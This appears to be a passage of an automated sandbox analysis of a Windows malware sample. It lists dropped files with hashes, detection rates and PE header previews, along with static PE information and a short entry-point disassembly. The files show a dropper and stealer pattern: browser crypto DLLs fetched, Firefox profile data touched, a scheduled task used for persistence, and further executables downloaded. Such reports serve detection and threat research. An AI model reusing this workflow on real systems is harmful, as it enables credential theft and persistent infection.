SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\mozglue[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3203072
Entropy (8bit):	6.649989764710205
Encrypted:	false
SSDEEP:	49152:174FK/OFo5OIIs+DNYh8LGxS9lubPhYnsL42dgF:yU/so5O5zDNYqqxS9lubPhYnsL42d
MD5:	1F3B7E421D9DA42574A703164BC38191
SHA1:	662C1381016728A74110514D21338286FA62EE36
SHA-256:	ED538BF59B1631E85D838F66173EF1D616789027C66FE4667CD29F529FB4D650
SHA-512:	8EF4665232A72A98FE752615E6776FE6C5431BF621A1542F35486D47EC6121619B1D3CEC61A7E0F14C1DCD7E588B33F0392BFED573552AB36401BDF4FC556A94
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................0...........@.......................... 1.......1...@.................................W...k...........................8.0...............................0..................................................... . ............................@....rsrc...............................@....idata ............................@...hpnwpmll.0......$.................@...wlnxkvfe......0.......0.............@....taggant.0....0.."....0.............@...........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3147264
Entropy (8bit):	6.637384064704352
Encrypted:	false
SSDEEP:	49152:5B7QCgqFxSC7Ak+lrWn8SXPAZhtZIyjH7E+yJySym:5BUqFxSAwrWn8APGhF/yyO
MD5:	D8B8019D8D8E9A3B35E59810C6C9582B
SHA1:	8F252805B5DE16DAF0C1F7FB70E5537D6D1E6646
SHA-256:	85D5219D202C37CAC41BA93B408C441DE88889CB0349D5A6A84E8420FA6333BB
SHA-512:	D9427C08F93B1D8FBE2C86437B8B07E585D02F43CAFD0CA630B47BFDA9CE43B703E5FEA9392FF4B7C96821459A87A77809DA91B47302EB337A8F5CB4FC05D737
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 39%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...S..g.................J............0...........@..........................@0.......0...@.................................T...h................................................................................................................... . ............................@....rsrc ............................@....idata ............................@...dobhwois.P......L.................@...fassugvn......0......./.............@....taggant.0....0.."..../.............@...........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\json[1].json

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1787
Entropy (8bit):	5.36636499682959
Encrypted:	false
SSDEEP:	48:SfNaoQdTEQ+fNaoQ4QJfNaoQhQpfNaoQKKf0UrU0U8QKD:6NnQdTEQmNnQ4QlNnQhQFNnQKKf0UrUM
MD5:	88C800EBC0898B3E8DC5A82A4DE2F802
SHA1:	9862EB4078209E0984CAACD89038C18203B64E27
SHA-256:	3463A2CB0C3E09D04A00CC9BC261D898E161920C906E349D3115367984F9C1C8
SHA-512:	1A138B86587208E6AEA7C85523F86899D21762FA5A9D1E61F84DA98FED7938A6FC71FD97F0A4A23B9BE3089354E817A0A0B2D9230D022B99EF86F54726877AE8
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/1FDE890CA00889C744C8CFF0AA0F6D34",.. "id": "1FDE890CA00889C744C8CFF0AA0F6D34",.. "title": "Google Network Speech",.. "type": "background_page",.. "url": "chrome-extension://neajdppkdcdipfabeoofebfddakdcjhd/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/1FDE890CA00889C744C8CFF0AA0F6D34"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/AA2DEC058C649D45630077CC6B94772F",.. "id": "AA2DEC058C649D45630077CC6B94772F",.. "title": "Google Hangouts",.. "type": "background_page",.. "url": "chrome-extension://nkeimhogjdpnpccoofpliimaahmaaome/background.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/AA2DEC058C649D45630077CC6B94772F"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtoo

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2802176
Entropy (8bit):	6.480316582203839
Encrypted:	false
SSDEEP:	49152:EC8oomnVZe0OEhzxjKJdGXzePHlBXmBnU61L:EC1omnVpOELXSXXmB
MD5:	63FDBE40E34853F023CC8F6EF32D2FC2
SHA1:	62FF7849A485A2ACE0F0883F5AE6E056CF00301C
SHA-256:	92BD5B829E9DBC51C27F25C79369A8E3A35B942B84477873379BA71F35F4E1FD
SHA-512:	0012C1C106FDCF6A4190F5471C914DABD30B42C5D60F12A915261B5A3259F74FEA52CEA4DD76C355565A39950D3680CBBFA40E1D2CB6BF346163A3816F4646D9
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 37%
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$...........@+.. ...`....@.. ........................+..........`.................................U...i....`.............................................................................................................. . .@... ....... ..............@....rsrc........`.......2..............@....idata . ...........8..............@...rlapexyo........b..:..............@...nlagfbmd. ... +....................@....taggant.@...@+.."....*.............@...................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3147264
Entropy (8bit):	6.637384064704352
Encrypted:	false
SSDEEP:	49152:5B7QCgqFxSC7Ak+lrWn8SXPAZhtZIyjH7E+yJySym:5BUqFxSAwrWn8APGhF/yyO
MD5:	D8B8019D8D8E9A3B35E59810C6C9582B
SHA1:	8F252805B5DE16DAF0C1F7FB70E5537D6D1E6646
SHA-256:	85D5219D202C37CAC41BA93B408C441DE88889CB0349D5A6A84E8420FA6333BB
SHA-512:	D9427C08F93B1D8FBE2C86437B8B07E585D02F43CAFD0CA630B47BFDA9CE43B703E5FEA9392FF4B7C96821459A87A77809DA91B47302EB337A8F5CB4FC05D737
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 39%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...S..g.................J............0...........@..........................@0.......0...@.................................T...h................................................................................................................... . ............................@....rsrc ............................@....idata ............................@...dobhwois.P......L.................@...fassugvn......0......./.............@....taggant.0....0.."..../.............@...........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1005664001\4172e6dca8.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1759232
Entropy (8bit):	7.945191827315913
Encrypted:	false
SSDEEP:	49152:icHc852wKI0DTbd9LY0fNs6ylzj3+/oF6Vg0ScMY/:icHc8+THLpfNsxOoUW0DM
MD5:	0EB9375B1842C87FD94163A21CB3C0B9
SHA1:	F373C2A31B762C5F52F704F19C3B9C5A51BD8A37
SHA-256:	7D2DE697B55472A9486D9A4850691CF9CAAD0B63ADFC98D7F507EE35598F53BC
SHA-512:	BFAE5E4381620E1B2387DF52433F7B98C961E1A73F2E2C53EFD1963E0A709CFF51CE449C4090EE89F92963DE3DA4FBCC0B0F1DD9F989BF8ADFAD24564401552B
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 34%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........8..k..k..k.'k..k..k..k.&k..k...k..k...k..k...j..k..k..k.#k..k..k..kRich..k........................PE..L...O./g.....................@"......pg...........@...........................g......6....@.................................M.$.a.............................$..................................................................................... . ..$......b..................@....rsrc ......$......r..............@....idata ......$......r..............@... .`)...$......t..............@...guahhyfc.@... N..:...v..............@...tjntcrwt.....`g.....................@....taggant.0...pg.."..................@...................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1005666001\081eb93126.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2802176
Entropy (8bit):	6.480316582203839
Encrypted:	false
SSDEEP:	49152:EC8oomnVZe0OEhzxjKJdGXzePHlBXmBnU61L:EC1omnVpOELXSXXmB
MD5:	63FDBE40E34853F023CC8F6EF32D2FC2
SHA1:	62FF7849A485A2ACE0F0883F5AE6E056CF00301C
SHA-256:	92BD5B829E9DBC51C27F25C79369A8E3A35B942B84477873379BA71F35F4E1FD
SHA-512:	0012C1C106FDCF6A4190F5471C914DABD30B42C5D60F12A915261B5A3259F74FEA52CEA4DD76C355565A39950D3680CBBFA40E1D2CB6BF346163A3816F4646D9
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 37%
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$...........@+.. ...`....@.. ........................+..........`.................................U...i....`.............................................................................................................. . .@... ....... ..............@....rsrc........`.......2..............@....idata . ...........8..............@...rlapexyo........b..:..............@...nlagfbmd. ... +....................@....taggant.@...@+.."....*.............@...................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1005667001\decrypter.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	HTML document, ASCII text, with very long lines (502), with no line terminators
Category:	dropped
Size (bytes):	502
Entropy (8bit):	4.807237584780118
Encrypted:	false
SSDEEP:	12:hsbsHMnf87KXyg4GAdqIUPqIZ5qIyrfQzqIH:hsbssnfig1AdXUPXZ5XOfYXH
MD5:	F66D1D8C6F8E55B45BE37A2A933FFE8A
SHA1:	505B5918F9382E9AA1B86D6EC60FE9A06E4DFF04
SHA-256:	58031909605AC96260B94A82FC89860FAB82410C9E6C06D0E4F239F43EC7A965
SHA-512:	76984A5B55DF476D1F0F642216CFAADD4AD84B37C83F46FBAA79791D2267C20143CB612D79D1F48B23E6AD28B9A18CA8212754EDA2EE40C3364851BB63B6ACF1
Malicious:	false
Preview:	<!DOCTYPE html><html lang='en'><head><meta charset='utf-8' /><title>decrypter.exe</title><meta name='keywords' content='gofile,download,upload,free,host,storage,share,large,file,video,image,audio,cdn,direct,link' /><meta name='description' content='82.5 MiB' /><meta property='og:title' content='decrypter.exe'><meta property='og:description' content='82.5 MiB'><meta property='og:image' content='https://gofile.io/dist/img/logo-small-og.png'><meta property='og:type' content='website' /></head></html>

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\DocumentsFCFIJEBFCG.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3203072
Entropy (8bit):	6.649989764710205
Encrypted:	false
SSDEEP:	49152:174FK/OFo5OIIs+DNYh8LGxS9lubPhYnsL42dgF:yU/so5O5zDNYqqxS9lubPhYnsL42d
MD5:	1F3B7E421D9DA42574A703164BC38191
SHA1:	662C1381016728A74110514D21338286FA62EE36
SHA-256:	ED538BF59B1631E85D838F66173EF1D616789027C66FE4667CD29F529FB4D650
SHA-512:	8EF4665232A72A98FE752615E6776FE6C5431BF621A1542F35486D47EC6121619B1D3CEC61A7E0F14C1DCD7E588B33F0392BFED573552AB36401BDF4FC556A94
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................0...........@.......................... 1.......1...@.................................W...k...........................8.0...............................0..................................................... . ............................@....rsrc...............................@....idata ............................@...hpnwpmll.0......$.................@...wlnxkvfe......0.......0.............@....taggant.0....0.."....0.............@...........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\DocumentsFCFIJEBFCG.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3203072
Entropy (8bit):	6.649989764710205
Encrypted:	false
SSDEEP:	49152:174FK/OFo5OIIs+DNYh8LGxS9lubPhYnsL42dgF:yU/so5O5zDNYqqxS9lubPhYnsL42d
MD5:	1F3B7E421D9DA42574A703164BC38191
SHA1:	662C1381016728A74110514D21338286FA62EE36
SHA-256:	ED538BF59B1631E85D838F66173EF1D616789027C66FE4667CD29F529FB4D650
SHA-512:	8EF4665232A72A98FE752615E6776FE6C5431BF621A1542F35486D47EC6121619B1D3CEC61A7E0F14C1DCD7E588B33F0392BFED573552AB36401BDF4FC556A94
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................0...........@.......................... 1.......1...@.................................W...k...........................8.0...............................0..................................................... . ............................@....rsrc...............................@....idata ............................@...hpnwpmll.0......$.................@...wlnxkvfe......0.......0.............@....taggant.0....0.."....0.............@...........................................................................................................................................................................................................................................................

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\DocumentsFCFIJEBFCG.exe
File Type:	data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	3.395647414600824
Encrypted:	false
SSDEEP:	6:1FW7RlbXflNeRKUEZ+lX1CGdKUe6tPjgsW2YRZuy0lBEt0:1FW7vf2RKQ1CGAFAjzvYRQVBEt0
MD5:	3D870C4CB2EDDF915649B568772B4DE9
SHA1:	190A915844D07D5B3DAA6EFED14FEEEA18B18F2C
SHA-256:	677A7A22C7B732589517F6EE2AD7760C825486032DD44192A89DEE0EA5CF544B
SHA-512:	E98B56BB8B605C95ECD91215F7D66AF6DC0CF685340500E1E75EADA6C0CD4AAE9F37118B7990E84412F095F8113B86D35AD6392E4AAAD98C52F02F3F45E8C686
Malicious:	false
Preview:	....._etf.2D...F*..F.......<... .....s.......... ....................8.C.:.\.U.s.e.r.s.\.j.o.n.e.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........J.O.N.E.S.-.P.C.\.j.o.n.e.s...................0...................@3P.........................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.945191827315913
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'759'232 bytes
MD5:	0eb9375b1842c87fd94163a21cb3c0b9
SHA1:	f373c2a31b762c5f52f704f19c3b9c5a51bd8a37
SHA256:	7d2de697b55472a9486d9a4850691cf9caad0b63adfc98d7f507ee35598f53bc
SHA512:	bfae5e4381620e1b2387df52433f7b98c961e1a73f2e2c53efd1963e0a709cff51ce449c4090ee89f92963de3da4fbcc0b0f1dd9f989bf8adfad24564401552b
SSDEEP:	49152:icHc852wKI0DTbd9LY0fNs6ylzj3+/oF6Vg0ScMY/:icHc8+THLpfNsxOoUW0DM
TLSH:	A28533363C9B0972CE7986B9E34BEE6EB631DB642000617B3E242726CB63575C33C559
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........8...k...k...k..'k...k...k...k..&k...k...k...k...k...k...j...k...k...k..#k...k...k...kRich...k........................PE..L..

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0xa77000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x672FC34F [Sat Nov 9 20:17:19 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007FECA4DDC0AAh
movzx ebx, byte ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [edx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+39h], ah
ret
push cs
mov ah, 90h
cmp eax, 00000039h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add dword ptr [eax], eax
add byte ptr [eax], al
add byte ptr [edx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [edx], ecx
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
